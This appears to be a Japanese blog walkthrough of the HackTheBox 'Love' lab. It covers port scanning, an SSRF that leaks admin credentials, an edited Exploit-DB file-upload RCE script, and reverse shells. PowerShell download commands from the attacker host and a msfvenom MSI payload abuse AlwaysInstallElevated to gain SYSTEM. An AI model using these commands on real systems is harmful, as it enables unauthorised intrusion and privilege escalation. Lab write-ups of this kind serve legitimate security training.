🔥

HackTheBox Love

2022/09/30に公開

Love

侵入

nmap

ポートスキャンを行う

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.239 -oN nmap.log
PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after:  2022-01-18T14:00:16
| MD5:   bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?       syn-ack ttl 127
| fingerprint-strings: 
|   LANDesk-RC, NCP, ms-sql-s: 
|_    Host '10.10.14.12' is not allowed to connect to this MariaDB server
5000/tcp  open  http         syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown      syn-ack ttl 127
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after:  2024-04-10T14:39:19
| MD5:   d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2022-09-30T07:33:03+00:00; +21m34s from scanner time.
| tls-alpn: 
|_  http/1.1
7680/tcp  open  pando-pub?   syn-ack ttl 127
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  unknown      syn-ack ttl 127
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC

多くのポートを確認
3306番を確認しているが、アクセスができないことが出力でわかる

web


ログイン画面が表示された

ポートスキャンで、5000番を確認したが、権限でアクセスできないことがわかる
nmap の結果で、staging.love.htb というサブドメインも発見したのでアクセスしてみる

新たなページを発見

Demo を押すと、beta.php に遷移する
URL を入力することで、ファイルをスキャンするらしい

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ python3 -m http.server 80                                    
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

試しに、kali でサーバを立ち上げ、kali の ip アドレスを入力してみる

ファイルが表示された
次に、127.0.0.1:5000 を入力してみる

権限で弾かれることなく、アクセスでき、@LoveIsInTheAir!!!! という文字列を発見
初めはこれが何を表すのかわからなかったが、調べてみると、SSRF の類であることがわかった

dir

SSRF を見つけたが、攻撃の手法がわからないので、もう少し列挙を進める

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ gobuster dir -u http://love.htb/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://love.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/30 16:19:54 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 329] [--> http://love.htb/admin/]
/ADMIN                (Status: 301) [Size: 329] [--> http://love.htb/ADMIN/]
/Admin                (Status: 301) [Size: 329] [--> http://love.htb/Admin/]
/examples             (Status: 503) [Size: 398]
/index.php            (Status: 200) [Size: 4388]
/licenses             (Status: 403) [Size: 417]
/nul                  (Status: 403) [Size: 298]
/phpmyadmin           (Status: 403) [Size: 298]
/plugins              (Status: 301) [Size: 331] [--> http://love.htb/plugins/]
/prn                  (Status: 403) [Size: 298]
===============================================================
2022/09/30 16:22:59 Finished
===============================================================

admin など、多数の出力を確認(一部省略)

admin


先程とは少し違ったログイン画面が出現した

試しに、admin : admin でログインした。
結果、Incorrent password と出力されたことから、admin ユーザが存在することがわかった

searchsploit

ログイン画面からもわかるように、Voting System が使用されているらしい

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ searchsploit Voting System
--------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                               |  Path
--------------------------------------------------------------------------------------------- ---------------------------------
Online Voting System - Authentication Bypass                                                 | php/webapps/43967.py
Online Voting System 1.0 - Authentication Bypass (SQLi)                                      | php/webapps/50075.txt
Online Voting System 1.0 - Remote Code Execution (Authenticated)                             | php/webapps/50076.txt
Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)        | php/webapps/50088.py
Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting             | multiple/webapps/49159.txt
Voting System 1.0 - Authentication Bypass (SQLI)                                             | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)                    | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated)                                  | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI  (Unauthenticated SQL injection)                         | php/webapps/49817.txt
WordPress Plugin Poll_ Survey_ Questionnaire and Voting system 1.5.2 - 'date_answers' Blind  | php/webapps/50052.txt
--------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

いくつか脆弱性を発見。7行目の File Upload RCE は使えるかもしれない

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ searchsploit -m php/webapps/49445.py
  Exploit: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
      URL: https://www.exploit-db.com/exploits/49445
     Path: /usr/share/exploitdb/exploits/php/webapps/49445.py
File Type: ASCII text, with very long lines, with CRLF line terminators

Copied to: /home/kali/Desktop/Love/49445.py

コードをダウンロード

# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port 
# --------------------------------

コードの中身をみると、上の行を書き換えるようになっている
このコードは本来認証情報が必要だが、SSRF を利用して取得済み

# --- Edit your settings here ----
IP = "10.10.10.239" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.12" # Reverse shell IP
REV_PORT = "5555" # Reverse port 
# --------------------------------

上記の様に、変更

INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"

さらに、書き換えたコードのすぐ下に、URL を定義する行をみる
IP と admin の間に、votesystem という文字列があり、これではエラーになってしまう

INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"

全ての行から votesystem を削除

phoebe としてのシェル

exploit

変更したコードを実行する

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ python3 49445.py
Start a NC listner on the port you choose above and run...
Logged in
Poc sent successfully

待ち受ける

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.239] 59783
b374k shell : connected

Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe

侵入成功

user フラグ

C:\Users\Phoebe\Desktop>type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

権限昇格

winPEAS

一通り、探索したが、情報が落ちないため、winPEAS を実行する

C:\ProgramData>powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.12/winPEASx64.exe','C:\ProgramData\winpeas.exe')"

winPEAS をサーバへアップロードする

C:\ProgramData>./winpeas.exe
[+] Checking AlwaysInstallElevated
[?]  [https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated)
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!

出力を調べてみたところ、上記の出力はかなり良くない状態であるらしい
この状態は .msi ファイルを SYSTEM 特権レベルで実行してしまうことを表す

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=6666 -f msi -o love.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: love.msi

msfvenom を使用して .msi ファイルを用意する

C:\ProgramData>powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.12/love.msi','C:\ProgramData\love.msi')"

サーバに .msi ファイルをアップロード

root としてのシェル

msiexec

C:\ProgramData>msiexec /quiet /qn /i love.msi

msi を実行する

┌──(kali㉿kali)-[~/Desktop/Love]
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.239] 59823
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

権限昇格成功

root フラグ

C:\Users\Administrator\Desktop>type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

所感

今回のボックスは、サーバへのアップロードがなかなかうまくいかず、かなり時間をかけてしまった。列挙は結構うまくいったので楽しく攻略することができた。

参考記事

AlwaysInstallElevated

https://steflan-security.com/windows-privilege-escalation-alwaysinstallelevated-policy/

Discussion